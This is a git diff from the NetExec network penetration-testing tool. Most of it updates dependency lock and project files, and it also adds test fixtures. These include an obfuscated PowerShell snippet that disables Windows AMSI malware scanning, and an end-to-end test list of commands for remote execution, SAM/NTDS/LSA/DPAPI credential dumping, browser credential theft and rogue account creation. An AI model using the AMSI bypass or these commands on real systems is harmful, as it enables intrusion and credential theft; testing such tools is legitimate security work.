{file = "SQLAlchemy-2.0.25-cp39-cp39-win_amd64.whl", hash = "sha256:dc55990143cbd853a5d038c05e79284baedf3e299661389654551bd02a6a68d7"},
|
||||
{file = "SQLAlchemy-2.0.25-py3-none-any.whl", hash = "sha256:a86b4240e67d4753dc3092d9511886795b3c2852abe599cffe108952f7af7ac3"},
|
||||
{file = "SQLAlchemy-2.0.25.tar.gz", hash = "sha256:a2c69a7664fb2d54b8682dd774c3b54f67f84fa123cf84dda2a5f40dcaa04e08"},
|
||||
{file = "SQLAlchemy-1.4.50-cp310-cp310-macosx_11_0_x86_64.whl", hash = "sha256:54138aa80d2dedd364f4e8220eef284c364d3270aaef621570aa2bd99902e2e8"},
|
||||
{file = "SQLAlchemy-1.4.50-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:d00665725063692c42badfd521d0c4392e83c6c826795d38eb88fb108e5660e5"},
|
||||
{file = "SQLAlchemy-1.4.50-cp310-cp310-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_12_x86_64.manylinux2010_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:85292ff52ddf85a39367057c3d7968a12ee1fb84565331a36a8fead346f08796"},
|
||||
{file = "SQLAlchemy-1.4.50-cp310-cp310-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_12_x86_64.manylinux2010_x86_64.whl", hash = "sha256:d0fed0f791d78e7767c2db28d34068649dfeea027b83ed18c45a423f741425cb"},
|
||||
{file = "SQLAlchemy-1.4.50-cp310-cp310-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:db4db3c08ffbb18582f856545f058a7a5e4ab6f17f75795ca90b3c38ee0a8ba4"},
|
||||
{file = "SQLAlchemy-1.4.50-cp310-cp310-win32.whl", hash = "sha256:6c78e3fb4a58e900ec433b6b5f4efe1a0bf81bbb366ae7761c6e0051dd310ee3"},
|
||||
{file = "SQLAlchemy-1.4.50-cp310-cp310-win_amd64.whl", hash = "sha256:d55f7a33e8631e15af1b9e67c9387c894fedf6deb1a19f94be8731263c51d515"},
|
||||
{file = "SQLAlchemy-1.4.50-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:324b1fdd50e960a93a231abb11d7e0f227989a371e3b9bd4f1259920f15d0304"},
|
||||
{file = "SQLAlchemy-1.4.50-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:14b0cacdc8a4759a1e1bd47dc3ee3f5db997129eb091330beda1da5a0e9e5bd7"},
|
||||
{file = "SQLAlchemy-1.4.50-cp311-cp311-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:1fb9cb60e0f33040e4f4681e6658a7eb03b5cb4643284172f91410d8c493dace"},
|
||||
{file = "SQLAlchemy-1.4.50-cp311-cp311-win32.whl", hash = "sha256:8bdab03ff34fc91bfab005e96f672ae207d87e0ac7ee716d74e87e7046079d8b"},
|
||||
{file = "SQLAlchemy-1.4.50-cp311-cp311-win_amd64.whl", hash = "sha256:52e01d60b06f03b0a5fc303c8aada405729cbc91a56a64cead8cb7c0b9b13c1a"},
|
||||
{file = "SQLAlchemy-1.4.50-cp312-cp312-macosx_10_9_universal2.whl", hash = "sha256:77fde9bf74f4659864c8e26ac08add8b084e479b9a18388e7db377afc391f926"},
|
||||
{file = "SQLAlchemy-1.4.50-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:c4cb501d585aa74a0f86d0ea6263b9c5e1d1463f8f9071392477fd401bd3c7cc"},
|
||||
{file = "SQLAlchemy-1.4.50-cp312-cp312-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:8a7a66297e46f85a04d68981917c75723e377d2e0599d15fbe7a56abed5e2d75"},
|
||||
{file = "SQLAlchemy-1.4.50-cp312-cp312-win32.whl", hash = "sha256:e86c920b7d362cfa078c8b40e7765cbc34efb44c1007d7557920be9ddf138ec7"},
|
||||
{file = "SQLAlchemy-1.4.50-cp312-cp312-win_amd64.whl", hash = "sha256:6b3df20fbbcbcd1c1d43f49ccf3eefb370499088ca251ded632b8cbaee1d497d"},
|
||||
{file = "SQLAlchemy-1.4.50-cp36-cp36m-macosx_10_14_x86_64.whl", hash = "sha256:fb9adc4c6752d62c6078c107d23327aa3023ef737938d0135ece8ffb67d07030"},
|
||||
{file = "SQLAlchemy-1.4.50-cp36-cp36m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:c1db0221cb26d66294f4ca18c533e427211673ab86c1fbaca8d6d9ff78654293"},
|
||||
{file = "SQLAlchemy-1.4.50-cp36-cp36m-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_12_x86_64.manylinux2010_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:0b7dbe6369677a2bea68fe9812c6e4bbca06ebfa4b5cde257b2b0bf208709131"},
|
||||
{file = "SQLAlchemy-1.4.50-cp36-cp36m-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_12_x86_64.manylinux2010_x86_64.whl", hash = "sha256:a9bddb60566dc45c57fd0a5e14dd2d9e5f106d2241e0a2dc0c1da144f9444516"},
|
||||
{file = "SQLAlchemy-1.4.50-cp36-cp36m-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:82dd4131d88395df7c318eeeef367ec768c2a6fe5bd69423f7720c4edb79473c"},
|
||||
{file = "SQLAlchemy-1.4.50-cp36-cp36m-win32.whl", hash = "sha256:1b9c4359d3198f341480e57494471201e736de459452caaacf6faa1aca852bd8"},
|
||||
{file = "SQLAlchemy-1.4.50-cp36-cp36m-win_amd64.whl", hash = "sha256:35e4520f7c33c77f2636a1e860e4f8cafaac84b0b44abe5de4c6c8890b6aaa6d"},
|
||||
{file = "SQLAlchemy-1.4.50-cp37-cp37m-macosx_11_0_x86_64.whl", hash = "sha256:f5b1fb2943d13aba17795a770d22a2ec2214fc65cff46c487790192dda3a3ee7"},
|
||||
{file = "SQLAlchemy-1.4.50-cp37-cp37m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:273505fcad22e58cc67329cefab2e436006fc68e3c5423056ee0513e6523268a"},
|
||||
{file = "SQLAlchemy-1.4.50-cp37-cp37m-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_12_x86_64.manylinux2010_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:a3257a6e09626d32b28a0c5b4f1a97bced585e319cfa90b417f9ab0f6145c33c"},
|
||||
{file = "SQLAlchemy-1.4.50-cp37-cp37m-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_12_x86_64.manylinux2010_x86_64.whl", hash = "sha256:d69738d582e3a24125f0c246ed8d712b03bd21e148268421e4a4d09c34f521a5"},
|
||||
{file = "SQLAlchemy-1.4.50-cp37-cp37m-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:34e1c5d9cd3e6bf3d1ce56971c62a40c06bfc02861728f368dcfec8aeedb2814"},
|
||||
{file = "SQLAlchemy-1.4.50-cp37-cp37m-win32.whl", hash = "sha256:7b4396452273aedda447e5aebe68077aa7516abf3b3f48408793e771d696f397"},
|
||||
{file = "SQLAlchemy-1.4.50-cp37-cp37m-win_amd64.whl", hash = "sha256:752f9df3dddbacb5f42d8405b2d5885675a93501eb5f86b88f2e47a839cf6337"},
|
||||
{file = "SQLAlchemy-1.4.50-cp38-cp38-macosx_11_0_x86_64.whl", hash = "sha256:35c7ed095a4b17dbc8813a2bfb38b5998318439da8e6db10a804df855e3a9e3a"},
|
||||
{file = "SQLAlchemy-1.4.50-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:f1fcee5a2c859eecb4ed179edac5ffbc7c84ab09a5420219078ccc6edda45436"},
|
||||
{file = "SQLAlchemy-1.4.50-cp38-cp38-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_12_x86_64.manylinux2010_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:fbaf6643a604aa17e7a7afd74f665f9db882df5c297bdd86c38368f2c471f37d"},
|
||||
{file = "SQLAlchemy-1.4.50-cp38-cp38-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_12_x86_64.manylinux2010_x86_64.whl", hash = "sha256:2e70e0673d7d12fa6cd363453a0d22dac0d9978500aa6b46aa96e22690a55eab"},
|
||||
{file = "SQLAlchemy-1.4.50-cp38-cp38-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:8b881ac07d15fb3e4f68c5a67aa5cdaf9eb8f09eb5545aaf4b0a5f5f4659be18"},
|
||||
{file = "SQLAlchemy-1.4.50-cp38-cp38-win32.whl", hash = "sha256:8a219688297ee5e887a93ce4679c87a60da4a5ce62b7cb4ee03d47e9e767f558"},
|
||||
{file = "SQLAlchemy-1.4.50-cp38-cp38-win_amd64.whl", hash = "sha256:a648770db002452703b729bdcf7d194e904aa4092b9a4d6ab185b48d13252f63"},
|
||||
{file = "SQLAlchemy-1.4.50-cp39-cp39-macosx_11_0_x86_64.whl", hash = "sha256:4be4da121d297ce81e1ba745a0a0521c6cf8704634d7b520e350dce5964c71ac"},
|
||||
{file = "SQLAlchemy-1.4.50-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:3f6997da81114daef9203d30aabfa6b218a577fc2bd797c795c9c88c9eb78d49"},
|
||||
{file = "SQLAlchemy-1.4.50-cp39-cp39-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_12_x86_64.manylinux2010_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:bdb77e1789e7596b77fd48d99ec1d2108c3349abd20227eea0d48d3f8cf398d9"},
|
||||
{file = "SQLAlchemy-1.4.50-cp39-cp39-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_12_x86_64.manylinux2010_x86_64.whl", hash = "sha256:128a948bd40780667114b0297e2cc6d657b71effa942e0a368d8cc24293febb3"},
|
||||
{file = "SQLAlchemy-1.4.50-cp39-cp39-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:f2d526aeea1bd6a442abc7c9b4b00386fd70253b80d54a0930c0a216230a35be"},
|
||||
{file = "SQLAlchemy-1.4.50-cp39-cp39-win32.whl", hash = "sha256:a7c9b9dca64036008962dd6b0d9fdab2dfdbf96c82f74dbd5d86006d8d24a30f"},
|
||||
{file = "SQLAlchemy-1.4.50-cp39-cp39-win_amd64.whl", hash = "sha256:df200762efbd672f7621b253721644642ff04a6ff957236e0e2fe56d9ca34d2c"},
|
||||
{file = "SQLAlchemy-1.4.50.tar.gz", hash = "sha256:3b97ddf509fc21e10b09403b5219b06c5b558b27fc2453150274fa4e70707dbf"},
|
||||
]
|
||||
|
||||
[package.dependencies]
|
||||
greenlet = {version = "!=0.4.17", markers = "platform_machine == \"aarch64\" or platform_machine == \"ppc64le\" or platform_machine == \"x86_64\" or platform_machine == \"amd64\" or platform_machine == \"AMD64\" or platform_machine == \"win32\" or platform_machine == \"WIN32\""}
|
||||
typing-extensions = ">=4.6.0"
|
||||
greenlet = {version = "!=0.4.17", markers = "python_version >= \"3\" and (platform_machine == \"aarch64\" or platform_machine == \"ppc64le\" or platform_machine == \"x86_64\" or platform_machine == \"amd64\" or platform_machine == \"AMD64\" or platform_machine == \"win32\" or platform_machine == \"WIN32\")"}
|
||||
|
||||
[package.extras]
|
||||
aiomysql = ["aiomysql (>=0.2.0)", "greenlet (!=0.4.17)"]
|
||||
aioodbc = ["aioodbc", "greenlet (!=0.4.17)"]
|
||||
aiosqlite = ["aiosqlite", "greenlet (!=0.4.17)", "typing_extensions (!=3.10.0.1)"]
|
||||
aiosqlite = ["aiosqlite", "greenlet (!=0.4.17)", "typing-extensions (!=3.10.0.1)"]
|
||||
asyncio = ["greenlet (!=0.4.17)"]
|
||||
asyncmy = ["asyncmy (>=0.2.3,!=0.2.4,!=0.2.6)", "greenlet (!=0.4.17)"]
|
||||
mariadb-connector = ["mariadb (>=1.0.1,!=1.1.2,!=1.1.5)"]
|
||||
asyncmy = ["asyncmy (>=0.2.3,!=0.2.4)", "greenlet (!=0.4.17)"]
|
||||
mariadb-connector = ["mariadb (>=1.0.1,!=1.1.2)"]
|
||||
mssql = ["pyodbc"]
|
||||
mssql-pymssql = ["pymssql"]
|
||||
mssql-pyodbc = ["pyodbc"]
|
||||
mypy = ["mypy (>=0.910)"]
|
||||
mysql = ["mysqlclient (>=1.4.0)"]
|
||||
mypy = ["mypy (>=0.910)", "sqlalchemy2-stubs"]
|
||||
mysql = ["mysqlclient (>=1.4.0)", "mysqlclient (>=1.4.0,<2)"]
|
||||
mysql-connector = ["mysql-connector-python"]
|
||||
oracle = ["cx_oracle (>=8)"]
|
||||
oracle-oracledb = ["oracledb (>=1.0.1)"]
|
||||
oracle = ["cx-oracle (>=7)", "cx-oracle (>=7,<8)"]
|
||||
postgresql = ["psycopg2 (>=2.7)"]
|
||||
postgresql-asyncpg = ["asyncpg", "greenlet (!=0.4.17)"]
|
||||
postgresql-pg8000 = ["pg8000 (>=1.29.1)"]
|
||||
postgresql-psycopg = ["psycopg (>=3.0.7)"]
|
||||
postgresql-pg8000 = ["pg8000 (>=1.16.6,!=1.29.0)"]
|
||||
postgresql-psycopg2binary = ["psycopg2-binary"]
|
||||
postgresql-psycopg2cffi = ["psycopg2cffi"]
|
||||
postgresql-psycopgbinary = ["psycopg[binary] (>=3.0.7)"]
|
||||
pymysql = ["pymysql"]
|
||||
sqlcipher = ["sqlcipher3_binary"]
|
||||
pymysql = ["pymysql", "pymysql (<1)"]
|
||||
sqlcipher = ["sqlcipher3-binary"]
|
||||
|
||||
[[package]]
|
||||
name = "sspilib"
|
||||
@@ -2175,18 +2166,14 @@ widechars = ["wcwidth"]
|
||||
|
||||
[[package]]
|
||||
name = "termcolor"
|
||||
version = "2.4.0"
|
||||
description = "ANSI color formatting for output in terminal"
|
||||
version = "1.1.0"
|
||||
description = "ANSII Color formatting for output in terminal."
|
||||
optional = false
|
||||
python-versions = ">=3.8"
|
||||
python-versions = "*"
|
||||
files = [
|
||||
{file = "termcolor-2.4.0-py3-none-any.whl", hash = "sha256:9297c0df9c99445c2412e832e882a7884038a25617c60cea2ad69488d4040d63"},
|
||||
{file = "termcolor-2.4.0.tar.gz", hash = "sha256:aab9e56047c8ac41ed798fa36d892a37aca6b3e9159f3e0c24bc64a9b3ac7b7a"},
|
||||
{file = "termcolor-1.1.0.tar.gz", hash = "sha256:1d6d69ce66211143803fbc56652b41d73b4a400a2891d7bf7a1cdf4c02de613b"},
|
||||
]
|
||||
|
||||
[package.extras]
|
||||
tests = ["pytest", "pytest-cov"]
|
||||
|
||||
[[package]]
|
||||
name = "terminaltables"
|
||||
version = "3.1.10"
|
||||
@@ -2351,4 +2338,4 @@ testing = ["big-O", "jaraco.functools", "jaraco.itertools", "more-itertools", "p
|
||||
[metadata]
|
||||
lock-version = "2.0"
|
||||
python-versions = "^3.8.0"
|
||||
content-hash = "7bde962ed54681c55a1249f2f8272ebf64109417f2a28293eab3eea90ce05c6f"
|
||||
content-hash = "ffe66257d6e590d72b96001cf9bc5c6b3633c867f4648fa713be12b3e3d1584e"
|
||||
+6
-6
@@ -1,6 +1,6 @@
|
||||
[tool.poetry]
|
||||
name = "netexec"
|
||||
version = "1.1.0"
|
||||
version = "1.2.0"
|
||||
description = "The Network Execution tool"
|
||||
authors = [
|
||||
"Marshall Hallenbeck <[email protected]>",
|
||||
@@ -36,7 +36,7 @@ nxcdb = 'nxc.nxcdb:main'
|
||||
python = "^3.8.0"
|
||||
aardwolf = "^0.2.8"
|
||||
aioconsole = "^0.6.2"
|
||||
aiosqlite = "^0.19.0"
|
||||
aiosqlite = "^0.17.0"
|
||||
argcomplete = "^3.1.4"
|
||||
asyauth = ">=0.0.20"
|
||||
beautifulsoup4 = ">=4.11,<5"
|
||||
@@ -52,17 +52,17 @@ msldap = "^0.5.10"
|
||||
neo4j = "^5.0.0"
|
||||
paramiko = "^3.3.1"
|
||||
poetry-dynamic-versioning = "^1.2.0"
|
||||
pyasn1-modules = "^0.3.0"
|
||||
pyasn1-modules = "^0.2.8"
|
||||
pylnk3 = "^0.4.2"
|
||||
pypsrp = "^0.8.1"
|
||||
pypykatz = "^0.6.8"
|
||||
pypykatz = "0.6.6"
|
||||
pywerview = "^0.3.3" # pywerview 5 requires libkrb5-dev installed which is not default on kali (as of 9/23)
|
||||
python-dateutil = ">=2.8.2"
|
||||
python-libnmap = "^0.7.3"
|
||||
requests = ">=2.27.1"
|
||||
rich = "^13.3.5"
|
||||
sqlalchemy = "^2.0.4"
|
||||
termcolor = ">=2.4.0"
|
||||
sqlalchemy = "^1.4.50"
|
||||
termcolor = "1.1.0"
|
||||
terminaltables = "^3.1.0"
|
||||
xmltodict = "^0.13.0"
|
||||
|
||||
|
||||
@@ -8,4 +8,5 @@
|
||||
* Install nxc (either in venv or via Poetry): `poetry install --with dev`
|
||||
* Run `python tests/e2e_tests.py -t $IP -u $USER -p $PASS`, with optional `-k` parameter
|
||||
* Poetry: `poetry run python tests/e2e_tests.py -t $IP -u $USER -p $PASS`
|
||||
* For testing standalone binaries (e.g. windows) run: `python tests/e2e_tests.py --executable dist/nxc.exe -t $IP -u $USER -p $PASS`
|
||||
* To see full errors (that might show real errors not caught by checking the exit code), run with the `--errors` flag
|
||||
@@ -0,0 +1,4 @@
|
||||
[Net.ServicePointManager]::ServerCertificateValidationCallback = {$true}
|
||||
try{
|
||||
[Ref].Assembly.GetType('Sys'+'tem.Man'+'agement.Aut'+'omation.Am'+'siUt'+'ils').GetField('am'+'siIni'+'tFailed', 'NonP'+'ublic,Sta'+'tic').SetValue($null, $true)
|
||||
}catch{}
|
||||
@@ -1,4 +1,5 @@
|
||||
Passw0rd!
|
||||
None
|
||||
ftp
|
||||
guest
|
||||
guest
|
||||
iamthekingoftheworld
|
||||
@@ -1,4 +1,5 @@
|
||||
Administrator
|
||||
Anonymous
|
||||
ftp
|
||||
guest
|
||||
guest
|
||||
robert.baratheon
|
||||
+82
-100
@@ -1,3 +1,5 @@
|
||||
##### Check Generic Help Options
|
||||
netexec -h
|
||||
##### SMB
|
||||
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS # need an extra space after this command due to regex
|
||||
netexec {DNS} smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS
|
||||
@@ -20,130 +22,112 @@ netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --sam
|
||||
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --ntds
|
||||
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --lsa
|
||||
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --dpapi
|
||||
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -x whoami
|
||||
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -X whoami
|
||||
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -X whoami --obfs
|
||||
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --sccm
|
||||
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --sccm wmi
|
||||
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -x ipconfig
|
||||
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -x ipconfig --exec-method atexec
|
||||
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -x ipconfig --exec-method smbexec
|
||||
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -x ipconfig --exec-method mmcexec
|
||||
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --put-file TEST_NORMAL_FILE \\Windows\\Temp\\test_file.txt
|
||||
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --put-file TEST_NORMAL_FILE \\Windows\\Temp\\test_file.txt --put-file TEST_NORMAL_FILE \\Windows\\Temp\\test_file2.txt
|
||||
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --get-file \\Windows\\Temp\\test_file.txt /tmp/test_file.txt
|
||||
##### SMB PowerShell
|
||||
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -X ipconfig
|
||||
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -X ipconfig --exec-method atexec
|
||||
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -X ipconfig --exec-method smbexec
|
||||
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -X ipconfig --exec-method mmcexec
|
||||
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -X ipconfig --force-ps32
|
||||
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -X ipconfig --obfs
|
||||
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -X ipconfig --force-ps32 --obfs
|
||||
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -X ipconfig --amsi-bypass AMSI_BYPASS_FILE
|
||||
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -X ipconfig --force-ps32 --obfs --amsi-bypass AMSI_BYPASS_FILE
|
||||
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -X ipconfig --obfs --amsi-bypass AMSI_BYPASS_FILE
|
||||
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -X ipconfig --force-ps32 --amsi-bypass AMSI_BYPASS_FILE
|
||||
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -X ipconfig --no-encode
|
||||
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -X ipconfig --force-ps32 --no-encode
|
||||
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -X ipconfig --obfs --no-encode
|
||||
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -X ipconfig --force-ps32 --obfs --no-encode
|
||||
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -X ipconfig --obfs --amsi-bypass AMSI_BYPASS_FILE --no-encode
|
||||
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -X ipconfig --force-ps32 --obfs --amsi-bypass AMSI_BYPASS_FILE --no-encode
|
||||
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -X ipconfig --force-ps32 --obfs --amsi-bypass AMSI_BYPASS_FILE --no-encode --exec-method atexec
|
||||
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -X ipconfig --force-ps32 --obfs --amsi-bypass AMSI_BYPASS_FILE --no-encode --exec-method smbexec
|
||||
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -X ipconfig --force-ps32 --obfs --amsi-bypass AMSI_BYPASS_FILE --no-encode --exec-method mmcexec
|
||||
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --clear-obfscripts # current we don't really use?
|
||||
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --wmi "select Name from win32_computersystem"
|
||||
netexec --jitter 2 smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS
|
||||
netexec --jitter 1-3 smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS
|
||||
netexec --jitter 2-2 smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS
|
||||
##### SMB Modules
|
||||
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -L
|
||||
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M add-computer --options
|
||||
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M add-computer -o NAME="BADPC" PASSWORD="Password1"
|
||||
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M add-computer -o NAME="BADPC" PASSWORD="Password2" CHANGEPW=True
|
||||
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M add-computer -o NAME="BADPC" DELETE=True
|
||||
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M bh_owned --options
|
||||
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M bh_owned
|
||||
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M dfscoerce --options
|
||||
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M dfscoerce
|
||||
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M drop-sc
|
||||
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M drop-sc --options
|
||||
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M drop-sc -o CLEANUP=True
|
||||
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M empire_exec --options
|
||||
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M empire_exec -o LISTENER=http-listener
|
||||
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M empire_exec -o LISTENER=http-listener OBFUSCATE=True
|
||||
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M enum_av --options
|
||||
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M enum_av
|
||||
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M enum_dns
|
||||
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M enum_dns --options
|
||||
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M enum_dns -o DOMAIN=google.com
|
||||
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M firefox --options
|
||||
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M firefox
|
||||
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M get_netconnections --options
|
||||
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M get_netconnections
|
||||
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M gpp_autologin --options
|
||||
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M gpp_autologin
|
||||
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M gpp_password --options
|
||||
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M gpp_password
|
||||
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M handlekatz
|
||||
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M handlekatz --options
|
||||
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M handlekatz -o HANDLEKATZ_EXE_NAME="hk.exe"
|
||||
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M hash_spider --options
|
||||
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M hash_spider
|
||||
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M impersonate --options
|
||||
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M impersonate
|
||||
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M iis --options
|
||||
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M iis
|
||||
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M install_elevated --options
|
||||
